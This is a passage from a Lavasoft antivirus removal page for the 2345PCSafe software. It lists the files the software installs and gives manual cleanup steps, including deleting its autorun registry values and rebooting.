    %Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp\RCWidgetPlugin.dll (24832 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345AvScan.exe (129 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeUpdate.dll (213 bytes)
    %Program Files%\2345Soft\2345PCSafe\msvcp110.dll (1816 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeUtils.exe (7386 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\optimize.dat (34773 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345BrowserDl.exe (141 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345ExtShell.exe (2105 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SFGuard.exe (5441 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeTray.exe (12287 bytes)
    %Program Files%\2345Soft\2345PCSafe\Uninstall.exe (16877 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\exam.dat (4992 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\fsmon.dat (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp\System.dll (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345ShellPro.exe (3737 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SFGuard.exe (3845 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345SafeExt.dll (175 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\trash.dat (4992 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345SafeService.dll (137 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SFEMon.dll (192 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeUtils.exe (7726 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345ProcessApi.dll (25 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345AvCloudQuery.dll (315 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345FsMon.dll (214 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeOptimize.dll (1671 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345SafeUpdate.dll (213 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeSvc.exe (1281 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeExam.dll (9606 bytes)
    %System%\drivers\2345PowerApi.sys (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345ExtShell.exe (1628 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345RTProtect.exe (18248 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\msvcr110.dll (6316 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp (870976 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeDispatcher.dll (1706 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeService.dll (137 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SFBase.dll (164 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345NetMon.dll (132 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\bwinfo.dat (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SFWebShell.exe (98 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\system64.dat (58402 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345GlobalData.exe (9606 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeExt.dll (175 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SFWebMon.dll (229 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345ShellPro.exe (4545 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345RegMon.dll (286 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SFWebShell.exe (601 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\TurnOffSoft.dat (1552 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345softmgr_setup.exe (25429 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\system.dat (95827 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345AvScan.exe (601 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeGarbage.dll (7972 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345MPCSafe.exe (69512 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345AvScan.dll (294 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\office64.dat (9320 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345ExtShell.exe (1628 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345InstallerPowerApi.dll (32 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeDB.dll (127 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345FsMon.dll (214 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeNotify.exe (1625 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345GlobalData.exe (13122 bytes)
    %Program Files%\2345Soft\2345PCSafe\msvcr110.dll (6316 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345NetMon.dll (132 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeNotify.exe (2105 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeTray.exe (9606 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345ShellPro.exe (3737 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345AvScanEngine.dll (208 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeSvc.exe (246 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345RegMon.dll (286 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345SafeHotfix.dll (7972 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345BrowserDl.exe (673 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345MPCSafe.exe (34007 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp\FileInfo.dll (4992 bytes)
    %Program Files%\2345Soft\2345PCSafe\2345softmgr_setup.exe (26831 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\office.dat (26688 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345RTProtect.exe (15801 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\msvcp110.dll (1816 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345InstallerPowerApi.dll (32 bytes)

  5. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "2345SoftMgr" = "%Program Files%\2345Soft\2345SoftMgr\2345SoftMgr.exe --type=start_service"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "2345SafeTray" = "%Program Files%\2345Soft\2345PCSafe\2345SafeTray.exe /notify_autorun"

  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  7. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2024 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now